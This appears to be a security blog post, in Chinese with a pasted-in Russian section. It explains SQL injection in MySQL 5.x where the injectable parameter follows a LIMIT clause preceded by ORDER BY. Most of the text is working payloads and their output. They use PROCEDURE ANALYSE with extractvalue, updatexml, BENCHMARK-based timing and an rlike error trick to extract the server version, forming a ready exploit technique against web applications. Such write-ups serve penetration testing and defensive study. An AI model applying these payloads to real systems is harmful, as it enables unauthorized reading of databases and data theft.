细节
在一次测试中，我碰到了一个sql注入的问题，在网上没有搜到解决办法，当时的注入点是在limit关键字后面，数据库是MySQL5.x,SQL语句类似下面这样：
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 【注入点】
问题的关键在于，语句中有order by 关键字，我们知道，mysql 中在order by 前面可以使用union 关键字，所以如果注入点前面没有order by 关键字，就可以顺利的使用union 关键字，但是现在的情况是，注入点前面有order by 关键字，这个问题在stackoverflow 上和sla.ckers上都有讨论，但是都没有什么有效的解决办法。
我们先看看 mysql 5.x 的文档中的 select 的语法：
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
limit 关键字后面还有 PROCEDURE 和 INTO 关键字，into 关键字可以用来写文件，但这在本文中不重要，这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE (doc)。
尝试用这个存储过程：
mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
ANALYSE支持两个参数，试试两个参数：
mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
依然无效，尝试在 ANALYSE 中插入 sql 语句：
mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
响应如下：
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse’
事实证明，sleep 没有被执行，最终，我尝试了如下payload ：
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
啊哈，上面的方法就是常见的报错注入，所以，如果注入点支持报错，那所有问题都ok，但是如果注入点不是报错的，还可以使用 time-based 的注入，payload 如下：
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
有意思的是，这里不能用sleep而只能用 BENCHMARK。
PHP код:
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0, 3 /* SQL-inj */;
+-----------+
| host |
+-----------+
| 127.0.0.1 |
| ::1 |
| host |
+-----------+
3 rows in set (0.00 sec)
Вектор работает через PROCEDURE ANALYSE. Все, кто пробовали использовать использовать данный синтаксис, столкнулись с большими проблемами.
PHP код:
mysql> SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE(((2))); // Можно заключать аргумент в скобки
Empty set (0.00 sec)
mysql> SELECT host FROM mysql.user PROCEDURE ANALYSE(2 * 2);
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'
// Совместное использование ORDER BY и PROCEDURE ANALYSE запрещено:
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0, 3 PROCEDURE ANALYSE(4);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
Решение
Рассмотрим некоторые из заметок:
MySQL: Альтернативные error-based векторы
Заметка о однократном выполнении выражения, о исполнении невыполнямого выражения
Первая позволяет увидеть процесс формирования запроса:
PHP код:
mysql> SELECT 18446744073709551610 * if((SELECT 1) rlike 1, 2, 2);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * if((1 regexp 1),2,2))'
// Подзапрос исчез, а rlike заменилось на regexp
Применять подобный подзапрос можно и в PROCEDURE ANALYSE:
PHP код:
mysql> SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3));
Empty set (0.00 sec)
mysql> SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT '3'));
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'
mysql> SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 union SELECT 2 LIMIT 1));
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'
mysql> SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY sleep(1)));
Empty set (0.00 sec)
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY /* SQL */));
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
Итак, выражение протолкнуто в PROCEDURE ANALYSE, однако оно не исполняется (в таблице только одна запись), попрежнему возникает ошибка 1386. Решить обе проблемы может только один вектор - вектор исполнения неисполняемого выражения (см. заметку 2):
Код:
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY 1 rlike if(mid(version(), 1, 1) = 5, 0x00, 1)));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY 1 rlike if(mid(version(), 1, 1) = 6, 0x00, 1)));
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY updatexml(1, concat(0x3A, version()), 1)));
ERROR 1105 (HY000): XPATH syntax error: ':5.5'
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2018-8-24 15:42:02 |
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